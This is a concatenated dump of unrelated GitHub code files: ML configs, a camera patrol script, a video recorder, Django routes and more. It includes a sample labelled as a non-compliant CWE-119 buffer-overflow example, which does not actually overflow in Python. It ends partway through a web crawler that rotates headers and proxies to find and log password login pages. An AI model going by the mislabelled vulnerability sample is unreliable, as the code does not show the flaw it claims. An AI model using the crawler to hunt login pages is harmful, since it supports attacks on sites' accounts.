official.projects.detr import optimization\nfrom official.projects.detr.dataloaders import coco\nfrom official.vision.configs import backbones\nfrom official.vision.configs import common\n\n\n@dataclasses.dataclass\nclass DataConfig(cfg.DataConfig):\n \"\"\"Input config for training.\"\"\"\n input_path: str = ''\n tfds_name: str = ''\n tfds_split: str = 'train'\n global_batch_size: int = 0\n is_training: bool = False\n dtype: str = 'bfloat16'\n decoder: common.DataDecoder = dataclasses.field(default_factory=common.DataDecoder)\n shuffle_buffer_size: int = 10000\n file_type: str = 'tfrecord'\n drop_remainder: bool = True\n\n\n@dataclasses.dataclass\nclass Losses(hyperparams.Config):\n class_offset: int = 0\n lambda_cls: float = 1.0\n lambda_box: float = 5.0\n lambda_giou: float = 2.0\n background_cls_weight: float = 0.1\n l2_weight_decay: float = 1e-4\n\n\n@dataclasses.dataclass\nclass Detr(hyperparams.Config):\n \"\"\"Detr model definations.\"\"\"\n num_queries: int = 100\n hidden_size: int = 256\n num_classes: int = 91 # 0: background\n num_encoder_layers: int = 6\n num_decoder_layers: int = 6\n input_size: List[int] = dataclasses.field(default_factory=list)\n backbone: backbones.Backbone = dataclasses.field(default_factory=lambda:backbones.Backbone(\n type='resnet', resnet=backbones.ResNet(model_id=50, bn_trainable=False)))\n norm_activation: common.NormActivation = dataclasses.field(default_factory=common.NormActivation)\n backbone_endpoint_name: str = '5'\n\n\n@dataclasses.dataclass\nclass DetrTask(cfg.TaskConfig):\n model: Detr = dataclasses.field(default_factory=Detr)\n train_data: cfg.DataConfig = dataclasses.field(default_factory=cfg.DataConfig)\n validation_data: cfg.DataConfig = dataclasses.field(default_factory=cfg.DataConfig)\n losses: Losses = dataclasses.field(default_factory=Losses)\n init_checkpoint: Optional[str] = None\n init_checkpoint_modules: Union[str, List[str]] = 'all' # all, backbone\n annotation_file: Optional[str] = None\n per_category_metrics: bool = False\n\n\nCOCO_INPUT_PATH_BASE = 'coco'\nCOCO_TRAIN_EXAMPLES = 118287\nCOCO_VAL_EXAMPLES = 5000\n\n\n@exp_factory.register_config_factory('detr_coco')\ndef detr_coco() -> cfg.ExperimentConfig:\n \"\"\"Config to get results that matches the paper.\"\"\"\n train_batch_size = 64\n eval_batch_size = 64\n num_train_data = COCO_TRAIN_EXAMPLES\n num_steps_per_epoch = num_train_data // train_batch_size\n train_steps = 500 * num_steps_per_epoch # 500 epochs\n decay_at = train_steps - 100 * num_steps_per_epoch # 400 epochs\n config = cfg.ExperimentConfig(\n task=DetrTask(\n init_checkpoint='',\n init_checkpoint_modules='backbone',\n model=Detr(\n num_classes=81,\n input_size=[1333, 1333, 3],\n norm_activation=common.NormActivation()),\n losses=Losses(),\n train_data=coco.COCODataConfig(\n tfds_name='coco/2017',\n tfds_split='train',\n is_training=True,\n global_batch_size=train_batch_size,\n shuffle_buffer_size=1000,\n ),\n validation_data=coco.COCODataConfig(\n tfds_name='coco/2017',\n tfds_split='validation',\n is_training=False,\n global_batch_size=eval_batch_size,\n drop_remainder=False)),\n trainer=cfg.TrainerConfig(\n train_steps=train_steps,\n validation_steps=-1,\n steps_per_loop=10000,\n summary_interval=10000,\n checkpoint_interval=10000,\n validation_interval=10000,\n max_to_keep=1,\n best_checkpoint_export_subdir='best_ckpt',\n best_checkpoint_eval_metric='AP',\n optimizer_config=optimization.OptimizationConfig({\n 'optimizer': {\n 'type': 'detr_adamw',\n 'detr_adamw': {\n 'weight_decay_rate': 1e-4,\n 'global_clipnorm': 0.1,\n # Avoid AdamW legacy behavior.\n 'gradient_clip_norm': 0.0\n }\n },\n 'learning_rate': {\n 'type': 'stepwise',\n 'stepwise': {\n 'boundaries': [decay_at],\n 'values': [0.0001, 1.0e-05]\n }\n },\n })),\n restrictions=[\n 'task.train_data.is_training != None',\n ])\n return config\n\n\n@exp_factory.register_config_factory('detr_coco_tfrecord')\ndef detr_coco_tfrecord() -> cfg.ExperimentConfig:\n \"\"\"Config to get results that matches the paper.\"\"\"\n train_batch_size = 64\n eval_batch_size = 64\n steps_per_epoch = COCO_TRAIN_EXAMPLES // train_batch_size\n train_steps = 300 * steps_per_epoch # 300 epochs\n decay_at = train_steps - 100 * steps_per_epoch # 200 epochs\n config = cfg.ExperimentConfig(\n task=DetrTask(\n init_checkpoint='',\n init_checkpoint_modules='backbone',\n annotation_file=os.path.join(COCO_INPUT_PATH_BASE,\n 'instances_val2017.json'),\n model=Detr(\n input_size=[1333, 1333, 3],\n norm_activation=common.NormActivation()),\n losses=Losses(),\n train_data=DataConfig(\n input_path=os.path.join(COCO_INPUT_PATH_BASE, 'train*'),\n is_training=True,\n global_batch_size=train_batch_size,\n shuffle_buffer_size=1000,\n ),\n validation_data=DataConfig(\n input_path=os.path.join(COCO_INPUT_PATH_BASE, 'val*'),\n is_training=False,\n global_batch_size=eval_batch_size,\n drop_remainder=False,\n )),\n trainer=cfg.TrainerConfig(\n train_steps=train_steps,\n validation_steps=COCO_VAL_EXAMPLES // eval_batch_size,\n steps_per_loop=steps_per_epoch,\n summary_interval=steps_per_epoch,\n checkpoint_interval=steps_per_epoch,\n validation_interval=5 * steps_per_epoch,\n max_to_keep=1,\n best_checkpoint_export_subdir='best_ckpt',\n best_checkpoint_eval_metric='AP',\n optimizer_config=optimization.OptimizationConfig({\n 'optimizer': {\n 'type': 'detr_adamw',\n 'detr_adamw': {\n 'weight_decay_rate': 1e-4,\n 'global_clipnorm': 0.1,\n # Avoid AdamW legacy behavior.\n 'gradient_clip_norm': 0.0\n }\n },\n 'learning_rate': {\n 'type': 'stepwise',\n 'stepwise': {\n 'boundaries': [decay_at],\n 'values': [0.0001, 1.0e-05]\n }\n },\n })),\n restrictions=[\n 'task.train_data.is_training != None',\n ])\n return config\n\n\n@exp_factory.register_config_factory('detr_coco_tfds')\ndef detr_coco_tfds() -> cfg.ExperimentConfig:\n \"\"\"Config to get results that matches the paper.\"\"\"\n train_batch_size = 64\n eval_batch_size = 64\n steps_per_epoch = COCO_TRAIN_EXAMPLES // train_batch_size\n train_steps = 300 * steps_per_epoch # 300 epochs\n decay_at = train_steps - 100 * steps_per_epoch # 200 epochs\n config = cfg.ExperimentConfig(\n task=DetrTask(\n init_checkpoint='',\n init_checkpoint_modules='backbone',\n model=Detr(\n num_classes=81,\n input_size=[1333, 1333, 3],\n norm_activation=common.NormActivation()),\n losses=Losses(class_offset=1),\n train_data=DataConfig(\n tfds_name='coco/2017',\n tfds_split='train',\n is_training=True,\n global_batch_size=train_batch_size,\n shuffle_buffer_size=1000,\n ),\n validation_data=DataConfig(\n tfds_name='coco/2017',\n tfds_split='validation',\n is_training=False,\n global_batch_size=eval_batch_size,\n drop_remainder=False)),\n trainer=cfg.TrainerConfig(\n train_steps=train_steps,\n validation_steps=COCO_VAL_EXAMPLES // eval_batch_size,\n steps_per_loop=steps_per_epoch,\n summary_interval=steps_per_epoch,\n checkpoint_interval=steps_per_epoch,\n validation_interval=5 * steps_per_epoch,\n max_to_keep=1,\n best_checkpoint_export_subdir='best_ckpt',\n best_checkpoint_eval_metric='AP',\n optimizer_config=optimization.OptimizationConfig({\n 'optimizer': {\n 'type': 'detr_adamw',\n 'detr_adamw': {\n 'weight_decay_rate': 1e-4,\n 'global_clipnorm': 0.1,\n # Avoid AdamW legacy behavior.\n 'gradient_clip_norm': 0.0\n }\n },\n 'learning_rate': {\n 'type': 'stepwise',\n 'stepwise': {\n 'boundaries': [decay_at],\n 'values': [0.0001, 1.0e-05]\n }\n },\n })),\n restrictions=[\n 'task.train_data.is_training != None',\n ])\n return config\n","repo_name":"tensorflow/models","sub_path":"official/projects/detr/configs/detr.py","file_name":"detr.py","file_ext":"py","file_size_in_byte":9417,"program_lang":"python","lang":"en","doc_type":"code","stars":76227,"dataset":"github-code","pt":"29"} +{"seq_id":"70269581200","text":"import torch\r\nfrom IR_Classfiier import myOwnDataset, get_transform, collate_fn\r\nimport torchvision\r\nimport matplotlib as plt\r\nimport numpy as np\r\n\r\n# path to your own data and coco file\r\ntest_data_dir = r'G:\\School Stuff\\Capstone\\Epistemic\\FLIR_ADAS_v2\\video_thermal_test'\r\ntest_coco = r'G:\\School Stuff\\Capstone\\Epistemic\\FLIR_ADAS_v2\\video_thermal_test\\coco.json'\r\n\r\n# create own Dataset\r\nnum_samples = 10\r\nmy_dataset = myOwnDataset(root=test_data_dir,\r\n annotation=test_coco,\r\n transforms=get_transform(),\r\n length=num_samples\r\n )\r\nbatch_size = 4\r\ndata_loader = torch.utils.data.DataLoader(my_dataset, batch_size=batch_size, shuffle=True, num_workers=4, collate_fn=collate_fn)\r\n\r\n# device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\r\ndevice = torch.device('cpu')\r\n\r\ndef main():\r\n model = torch.load(\"IR Model\", map_location=device)\r\n i = 0\r\n\r\n # move model to the right device\r\n model.eval()\r\n len_dataloader = len(data_loader)\r\n for imgs, annotations in data_loader:\r\n i += 1\r\n imgs = list(img.to(device) for img in imgs)\r\n annotations = [{k: v.to(device) for k, v in t.items()} for t in annotations]\r\n boxes = [len(bb.get('boxes', None)) for bb in annotations]\r\n if not all(boxes):\r\n continue\r\n predictions = model(imgs, annotations)\r\n # losses = 0\r\n for loss_dict in predictions:\r\n losses = sum(loss for loss in loss_dict['scores']).item()\r\n for idx, annotation in enumerate(annotations):\r\n # img = (imgs[idx]*255).detach().cpu().numpy().astype(np.uint8)\r\n img = (imgs[idx]*255).to(torch.uint8)\r\n boxes = annotation['boxes']\r\n labels = annotation['labels'].reshape(-1, 1)\r\n image = torchvision.utils.draw_bounding_boxes(img, boxes, labels)\r\n plt.imshow(image.permute(1, 2, 0))\r\n\r\n print(f'Iteration: {i}/{len_dataloader}, Loss: {losses}')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"UIUC-GE-Epistemic-Classifier-Capstone/Multi-IR","sub_path":"Classify.py","file_name":"Classify.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"163950678","text":"#!/usr/bin/env python2.7\n# coding:utf-8\n\nfrom chainer import dataset\nimport random # noqa\nimport numpy as np\nimport os\n\n\nclass Dataset(dataset.DatasetMixin):\n\n # test ok\n def __init__(self, path, root, offset=0):\n\n with open(path) as paths_file:\n pairs = []\n for i, line in enumerate(paths_file):\n pair = line.strip().split()\n if len(pair) != 2:\n raise ValueError('invalid format at line {} in file {}'.format(i, path))\n pairs.append((pair[0], np.int32(pair[1]) - offset))\n self.pairs = pairs\n self.root = root\n\n # test ok\n def __len__(self):\n return len(self.pairs)\n\n # test ok\n def get_example(self, i):\n path, int_label = self.pairs[i]\n full_path = os.path.join(self.root, path)\n graph = np.load(full_path)\n return graph, int_label\n","repo_name":"seiya-kumada/patchy-san","sub_path":"patchy-san/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"29"} +{"seq_id":"73420646479","text":"'''\nCreated on Mar 29, 2018\n\n@author: Hao Wu\n'''\nimport PySpin\nimport os\nimport time\nclass AviType(object):\n \"\"\"'Enum' to select AVI video type to be created and saved\"\"\"\n UNCOMPRESSED = 0\n MJPG = 1\n H264 = 2\n\nclass Recorder(object):\n '''\n PySpin AVI recorder binding\n '''\n def __init__(self, fname, frame_rate, compress = True):\n self.fname = fname\n self.frame_rate = frame_rate\n \n #setup option for AVIRecorder\n if compress:\n chosenAviType = AviType.MJPG\n option = PySpin.MJPGOption()\n option.frameRate = self.frame_rate\n option.quality = 75\n else:\n chosenAviType = AviType.UNCOMPRESSED\n option = PySpin.AVIOption()\n option.frameRate = self.frame_rate\n \n \n #create instance for recorder \n self.rec = PySpin.SpinVideo()\n \n if os.path.exists(self.fname + '-0000.avi'):\n print(\"File already exists, saving with timestamp\")\n timestamp =time.strftime('%H%M%S',time.localtime())\n self.fname = self.fname + timestamp\n #create file\n try:\n self.rec.Open(self.fname,option)\n except PySpin.SpinnakerException as ex:\n print(\"Error: %s\" % ex)\n \n def save_frame(self,image):\n try:\n self.rec.Append(image)\n except PySpin.SpinnakerException as ex:\n print(\"Error: %s\" % ex)\n \n \n def close(self):\n self.rec.Close()\n \nclass FLIRRecDev(object):\n '''\n Virtual Device that hold a list of running recorders\n '''\n def __init__(self, path):\n self.path = path\n self.recorder = dict()\n \n def get_path(self,path):\n return self.path\n \n def set_path(self,path):\n self.path = path\n \n def create_file(self, name, frame_rate, compress = True):\n fname = os.path.join(self.path,name)\n self.recorder[name] = Recorder(fname, frame_rate, compress)\n \n def save_frame(self,name, image):\n if name in self.recorder:\n self.recorder[name].save_frame(image)\n else:\n print(name + ' recorder does not exist or already closed.')\n \n def close_file(self,name):\n if name in self.recorder:\n self.recorder[name].close()\n del self.recorder[name]\n else:\n print(name + ' recorder does not exist or already closed..')\n \n def close(self):\n for name in self.recorder:\n self.recorder[name].close()\n \n\n \n ","repo_name":"fullerene12/AntCam","sub_path":"AntCamHW/flircam/flirrec_dev.py","file_name":"flirrec_dev.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"3453105137","text":"from tkinter import Tk\r\ndef askCopyClip(nbt):\r\n if input('COPY TEXT TO CLIPBOARD? (Y\\\\N) >').lower() != 'n':\r\n r = Tk()\r\n r.withdraw()\r\n r.clipboard_clear()\r\n r.clipboard_append(nbt)\r\n r.update()\r\n r.destroy()\r\ndamage = input('ENTER DAMAGE VALUE TO SET >')\r\nnbt = '{Damage:'+damage+'}'\r\nprint ('USE [.nbt write] WHILE HOLDING ANY ITEM TO SET THE DAMAGE VALUE')\r\nprint (nbt)\r\naskCopyClip(nbt)\r\n","repo_name":"Tiger-Tom/HorionPyScripts","sub_path":"DamageValueGenerator.py","file_name":"DamageValueGenerator.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"29"} +{"seq_id":"37507630965","text":"from django.urls import path\n\nfrom account import views\n\nurlpatterns = [\n path('user-create', views.user_create, name='user_create'),\n path('user-update', views.user_update, name='user_update'),\n path('user-login', views.user_login, name='user_login'),\n path('get-user', views.get_user, name='get_user'),\n]\n","repo_name":"m-muhammadjon/blogapp-backend","sub_path":"account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"40777094552","text":"import numpy as np\n\nclass Embedding:\n\tdef __init__(self, W):\n\t\tself.params = [W]\n\t\tself.grads = [np.zeros_like(W)]\n\t\tself.idx = None\n\n\n\tdef forward(self, idx):\n\t\t# print(W.shape)\n\t\tW, = self.params\n\t\tself.idx = idx\n\t\tout = W[idx]\n\t\treturn out\n\n\tdef backward(self, dout):\n\t\tdW, = self.grads\n\t\tdW[...] = 0\n\t\tprint(self.idx)\n\t\t# for i, word_id in enumerate(self.idx):\n\t\t# \tprint(word_id, dout[i])\n\t\t# \tdW[word_id] += dout[i]\n\t\t# print(dW)\n\t\tnp.add.at(dW, self.idx, dout)\n\t\tprint(dW)\n\t\treturn None\n\n\nW = np.random.randn(7, 3)\nlayer = Embedding(W)\nidx = [0, 1, 1]\na = layer.forward(idx)\nb = layer.backward([[1, 2, 3], [2, 3, 4], [4, 5, 6]])\nprint(a, b)","repo_name":"seok-jin/coding_study","sub_path":"ML_data_analysis_python/deep-learning-from-scratch-2-master/ch4/embedding_layer.py","file_name":"embedding_layer.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9563997139","text":"import time\nfrom random import randint\n\nfrom is_wire.core import Channel\nfrom is_wire.rpc import ServiceProvider\nfrom is_wire.rpc.log_interceptor import LogInterceptor\n\nfrom is_msgs.common_pb2 import Pose, Position\n\nmean_svc_time_ms = 100\nvar_src_time_ms = 20\n\nmin_svc_time_ms = mean_svc_time_ms - var_src_time_ms\nmax_svc_time_ms = mean_svc_time_ms + var_src_time_ms\n\nchannel = Channel('amqp://localhost:5672')\nservice_provider = ServiceProvider(channel)\nservice_provider.add_interceptor(LogInterceptor())\n\n\ndef service(pose, ctx):\n delay = randint(min_svc_time_ms, max_svc_time_ms) / 1000.0\n time.sleep(delay)\n return pose.position\n\n\nservice_provider.delegate(\n topic=\"GetPosition\", function=service, request_type=Pose, reply_type=Position)\n\nservice_provider.run()\n","repo_name":"felippe-mendonca/skeleton-joints-3d-reconstruction","sub_path":"examples/request_manager/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"75003130318","text":"class CWE119:\n input_str = \".................\" # user input\n buffer = bytearray(10)\n buffer[:len(input_str)] = input_str.encode()\n\n for i in range(len(buffer)):\n print(buffer[i])\n\n# In this example, the program initializes a byte array buffer of size 10 and attempts to copy the user input\n# input_str into it using the bytearray() function and encode() method. If the length of input_str is less than 10,\n# the remaining elements of buffer will be set to 0. The for loop then prints out each element of buffer.\n","repo_name":"Tech-Raza/PythonVulnerability","sub_path":"Vulnerability/nonComplaint/CWE119/CWE119.py","file_name":"CWE119.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"14279332941","text":"import sys\nsys.setrecursionlimit(100000000)\n\ndef rec(key, G, seen):\n if seen[key]:\n return\n seen[key] = True\n for k in G[key]:\n rec(k, G, seen)\n return\n\ndef d(x1, y1, x2, y2):\n return (x1-x2)**2 + (y1-y2)**2\n\ndef main():\n N, D = map(int, input().split())\n L = list()\n D2 = D**2\n\n for i in range(N):\n L.append(list(map(int, input().split())))\n\n G = [list() for _ in range(N)]\n for i in range(N-1):\n x1, y1 = L[i]\n for j in range(i, N):\n x2, y2 = L[j]\n\n if d(x1, y1, x2, y2) <= D2:\n G[i].append(j)\n G[j].append(i)\n\n seen = [False]*N\n rec(0, G, seen)\n\n for i in range(N):\n if seen[i]:\n print(\"Yes\")\n else:\n print(\"No\")\nmain()\n","repo_name":"buchi1002/AtCoder","sub_path":"ABC/304/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21268907893","text":"# -*- coding: utf-8 -*-\n# PTZAutomation v3.0.2\n\"\"\"\n<parameters>\n <company>AATrubilin</company>\n <title>PTZAutomation\n 3.0.2\n\n \n CHANNEL\n channel\n Channel\n \n \n \n SCHEDULE\n objects\n Work by schedule\n \n \n\n \n caption\n Workmode\n \n \n string_from_list\n WORKMODE_GREED\n Default mode (Green or without schedule)\n Patrol\n Patrol,Preset\n \n \n string_from_list\n WORKMODE_RED\n Alarm mode (Red)\n Off\n Patrol,Preset,Off\n \n \n string_from_list\n WORKMODE_BLUE\n Other mode (Blue)\n Off\n Patrol,Preset,Off\n \n\n \n caption\n Patrol settings\n \n \n DEFAULT_PRESET\n integer\n Default preset\n 1\n 1\n 99\n \n \n PATROL_PATH\n string\n Patrol path\n 1,2,3,4\n \n \n PATROL_PRESET_TIMEOUT\n integer\n Preset timeout, sec\n 30\n 15\n 9999\n \n \n PATROL_PRESET_TIMEOUT_RAND_MAX\n integer\n Max random preset timeout, sec\n 30\n 15\n 9999\n \n\n \n caption\n ActiveDome\n \n \n ACTIVEDOME_TIMEOUT\n integer\n ActiveDome timeout, sec\n 15\n 15\n 999\n \n\n \n caption\n Other\n \n \n DEBUG\n boolean\n Debug mode\n False\n \n\n \n helpers.py\n schedule.py\n \n\n\"\"\"\n\nGLOBALS = globals()\n\nCHANNEL = GLOBALS.get(\"CHANNEL\", None)\nSCHEDULE = GLOBALS.get(\"SCHEDULE\", \"\")\n\nWORKMODE_GREED = GLOBALS.get(\"WORKMODE_GREED\", \"Patrol\")\nWORKMODE_RED = GLOBALS.get(\"WORKMODE_RED\", \"Off\")\nWORKMODE_BLUE = GLOBALS.get(\"WORKMODE_BLUE\", \"Off\")\n\nDEFAULT_PRESET = GLOBALS.get(\"DEFAULT_PRESET\", 1)\nPATROL_PATH = GLOBALS.get(\"PATROL_PATH\", \"1,2,3,4\")\nPATROL_PRESET_TIMEOUT = GLOBALS.get(\"PATROL_PRESET_TIMEOUT\", 30)\nPATROL_PRESET_TIMEOUT_RAND_MAX = GLOBALS.get(\"PATROL_PRESET_TIMEOUT_RAND_MAX\", 30)\n\nACTIVEDOME_TIMEOUT = GLOBALS.get(\"ACTIVEDOME_TIMEOUT\", 10)\n\nDEBUG = GLOBALS.get(\"DEBUG\", False)\n\nAPP_NAME = \"PTZAutomation\"\n\nimport time\nimport random\nfrom itertools import cycle\nfrom __builtin__ import object\n\nimport host\n\nimport helpers\n\nhelpers.set_script_name()\nlogger = helpers.init_logger(APP_NAME, debug=DEBUG)\n\nfrom schedule import ScheduleObject\n\nassert CHANNEL, \"Channel not selected\"\nchannel = host.object(CHANNEL.split(\"_\")[0])\ntry:\n channel.state(\"signal\")\nexcept EnvironmentError:\n raise EnvironmentError(\"Channel %s not found or disabled\" % CHANNEL)\n\n\ndef __get_random_timout():\n return random.randint(PATROL_PRESET_TIMEOUT, PATROL_PRESET_TIMEOUT_RAND_MAX)\n\n\nif PATROL_PRESET_TIMEOUT == PATROL_PRESET_TIMEOUT_RAND_MAX:\n\n def get_timeout():\n return PATROL_PRESET_TIMEOUT\n\n\nelse:\n assert (\n PATROL_PRESET_TIMEOUT < PATROL_PRESET_TIMEOUT_RAND_MAX\n ), \"Random max timeout must be lower then preset timeout\"\n\n def get_timeout():\n return __get_random_timout()\n\n\nclass PTZAutomation(object):\n def __init__(self, channel):\n self.channel = channel\n self.get_timeout = lambda: 30\n self.default_preset = 1\n self.ad_timeout = 15\n self.__patrol_path = cycle([1, 2, 3, 4])\n\n self.__workmode = {\n \"Green\": self.patrol,\n \"Red\": self.do_nothing,\n \"Blue\": self.do_nothing,\n }\n\n self.__last_ad_activity_ts = 0\n self.__current_work_mode = \"patrol\"\n\n @property\n def patrol_path(self):\n return next(self.__patrol_path)\n\n @patrol_path.setter\n def patrol_path(self, value):\n if isinstance(value, str):\n assert value, \"Patrol path is empty\"\n value = [int(v) for v in value.split(\",\")]\n self.__patrol_path = cycle(value)\n logger.debug(\"Set new patrol path: cycle(%r)\", value)\n\n def set_mode(self, color, mode):\n mode = mode.lower()\n if mode == \"patrol\":\n self.__workmode[color] = self.patrol\n elif mode == \"preset\":\n self.__workmode[color] = self.preset\n else:\n self.__workmode[color] = self.do_nothing\n logger.debug(\"Change mode: %s\", self.__workmode)\n\n def set_preset(self, preset):\n logger.debug(\"%s go to %s\", channel.name, preset)\n self.channel.ptz_preset(preset)\n\n def patrol(self):\n if self.__current_work_mode == \"patrol\":\n if time.time() - self.__last_ad_activity_ts > self.ad_timeout:\n self.set_preset(self.patrol_path)\n timeout = self.get_timeout()\n logger.debug(\"Go next preset after %s\", timeout)\n host.timeout(timeout * 1000, self.patrol)\n else:\n host.timeout(1000, self.patrol)\n\n def preset(self):\n if time.time() - self.__last_ad_activity_ts > self.ad_timeout:\n self.set_preset(self.default_preset)\n host.timeout(1000 * 15, self.preset)\n else:\n host.timeout(1000 * 15, self.preset)\n\n def do_nothing(self):\n pass\n\n def color_change_handler(self, sched):\n work = self.__workmode[sched.color]\n self.__current_work_mode = work.__name__\n logger.info(\"Start %s mode %s\", sched.color, self.__current_work_mode)\n work()\n\n def run_default(self):\n work = self.__workmode[\"Green\"]\n self.__current_work_mode = work.__name__\n logger.info(\"Start default mode %s\", self.__current_work_mode)\n work()\n\n def ptz_handler(self, ev):\n logger.debug(\"ptz_handler: ev %s\", ev.type)\n if ev.channel == self.channel.guid:\n if (\n \"PRESET\" not in ev.type\n and \"ACQUIRE\" not in ev.type\n and \"RELEASE\" not in ev.type\n ):\n self.__last_ad_activity_ts = time.time()\n\n\nptz = PTZAutomation(channel)\nptz.get_timeout = get_timeout\nptz.default_preset = DEFAULT_PRESET\nptz.patrol_path = PATROL_PATH\nptz.patrol_path = PATROL_PATH\nptz.ad_timeout = ACTIVEDOME_TIMEOUT\n\nptz.set_mode(\"Green\", WORKMODE_GREED)\nptz.set_mode(\"Red\", WORKMODE_RED)\nptz.set_mode(\"Blue\", WORKMODE_BLUE)\n\nif SCHEDULE:\n schedule = ScheduleObject(SCHEDULE, color_change_handler=ptz.color_change_handler, on_ready_handler=ptz.color_change_handler)\nelse:\n schedule = None\n ptz.run_default()\n\nhost.activate_on_ptz_events(ptz.ptz_handler)\n","repo_name":"trassir/scripts","sub_path":"scripts/channels/ptz_automation/trassir_ptz_automation.py","file_name":"trassir_ptz_automation.py","file_ext":"py","file_size_in_byte":7714,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"37330876444","text":"# last_n_val_linkedlist.py\r\n#########################################################################################\r\n# Author : Hong\r\n# Created : 8/11/2017\r\n# Modified: 8/11/2017\r\n# Notes : [2.2] Implement an algorithm to find the kth to last element of a singly linked list\r\n#########################################################################################\r\nimport unittest, os\r\n\r\n\r\nclass Node:\r\n def __init__(self, item):\r\n self.val = item\r\n self.next = None\r\n\r\n\r\nclass LinkedList:\r\n def __init__(self, item):\r\n self.head = Node(item)\r\n\r\n def add(self, item):\r\n cur = self.head\r\n while cur.next is not None:\r\n cur = cur.next\r\n cur.next = Node(item)\r\n\r\n def delete_duplicate(self):\r\n cur = self.head\r\n prev = None\r\n dic = {}\r\n while cur is not None:\r\n if cur.val in dic:\r\n prev.next = cur.next\r\n else:\r\n dic[cur.val] = True\r\n prev = cur\r\n cur = cur.next\r\n\r\n def kth_element_from_last(self, k):\r\n p1 = self.head\r\n p2 = self.head\r\n if k != 0:\r\n for i in range(k):\r\n p2 = p2.next\r\n if p2 is None:\r\n return None\r\n while p2.next is not None:\r\n p2 = p2.next\r\n p1 = p1.next\r\n return p1.val\r\n\r\n def printlist(self):\r\n cur = self.head\r\n res = []\r\n while cur is not None:\r\n res.append(cur.val)\r\n cur = cur.next\r\n return str(res)\r\n\r\n\r\nclass last_n_val_linkedlist_test(unittest.TestCase):\r\n def test(self):\r\n e = LinkedList(4)\r\n e.add(4)\r\n e.add(5)\r\n e.add(6)\r\n e.add(4)\r\n e.add(7)\r\n e.add(4)\r\n e.add(6)\r\n e.add(6)\r\n e.delete_duplicate()\r\n print(e.printlist())\r\n print(e.kth_element_from_last(1))\r\n os.system(\"Pause\")\r\n\r\n\r\nunittest.main()\r\n\r\n\r\n\r\n","repo_name":"MarvinHongX/CCI_5thEd","sub_path":"Python/2_2_last_n_val_linkedlist.py","file_name":"2_2_last_n_val_linkedlist.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21751929835","text":"import requests\r\nimport multiprocessing\r\nfrom randomHP import random_header, random_proxy\r\nfrom redis import StrictRedis\r\nimport myRedis\r\nimport re\r\nfrom urllib import parse\r\nfrom lxml import html\r\nimport multiprocessing as mp\r\nimport logging\r\nimport coloredlogs\r\nimport traceback\r\nfrom config import SPIDER_PROCESS_NUM, SPIDER_NAME\r\n\r\nlog = logging.getLogger(__name__)\r\ncoloredlogs.install(\r\n logger=log,\r\n level=\"DEBUG\",\r\n fmt=\"[%(levelname)s] %(message)s\"\r\n)\r\n\r\n\r\nclass Spider:\r\n def check_if_login_form(self, content):\r\n if len(re.findall(\r\n r\"type[ ]*=[ ]*['\\\"]password['\\\"]\",\r\n content, flags=re.IGNORECASE | re.MULTILINE\r\n )) != 0:\r\n return True\r\n else:\r\n return False\r\n\r\n def simple_request(self, url):\r\n log.info(\"[+] now crawing: %s\" % url)\r\n try:\r\n r = requests.get(\r\n url, headers=random_header(),\r\n timeout=5, proxies={}\r\n )\r\n\r\n #del from todo\r\n try:\r\n redis_manager.del_todo(url)\r\n log.info(\"success [+] delete from todo\")\r\n except Exception as e:\r\n log.exception(\"error [-] when delete from todo\")\r\n redis_manager.add_error(url)\r\n\r\n if r.status_code == 200:\r\n try:\r\n if self.check_if_login_form(str(r.content)):\r\n log.warning(\"[+] login form found! \" + url)\r\n try:\r\n redis_manager.add_login_form(url)\r\n log.info(\"success [+] add to login form\")\r\n except Exception as e:\r\n log.exception(\"error [-] when add to login form\")\r\n redis_manager.add_error(url)\r\n else:\r\n log.warning(\"[-] login form not found\")\r\n\r\n try:\r\n redis_manager.add_finish(url)\r\n log.info(\"success [+] add to finish\")\r\n except Exception as e:\r\n log.exception(\"error [-] when add to finish\")\r\n redis_manager.add_error(url)\r\n\r\n return str(r.content)\r\n\r\n except Exception as e:\r\n log.exception(\"error [-] when check if login form\")\r\n redis_manager.add_error(url)\r\n else:\r\n log.info(str(r.status_code) + \" [+] \" + str(url))\r\n #add to forbidden\r\n try:\r\n redis_manager.add_forbidden(url)\r\n log.warning(\"success [+] add to forbidden\")\r\n except Exception as e:\r\n log.exception(\"error [-] when add to forbidden\")\r\n redis_manager.add_error(url)\r\n\r\n except Exception as e:\r\n #del from todo , add to timeout\r\n try:\r\n redis_manager.del_todo(url)\r\n log.info(\"success [+] delete from todo\")\r\n except Exception as e:\r\n log.exception(\"error [-] when delete from todo\")\r\n redis_manager.add_error(url)\r\n\r\n try:\r\n redis_manager.add_timeout(url)\r\n log.warning(\"success [+] add to timeout\")\r\n except Exception as e:\r\n redis_manager.add_error(url)\r\n log.exception(\"error [-] when add to timeout\")\r\n\r\n def url_last_part(self, url):\r\n domain = parse.urlparse(url).netloc\r\n domain_split = domain.split('.')\r\n split_len = len(domain_split)\r\n _url = 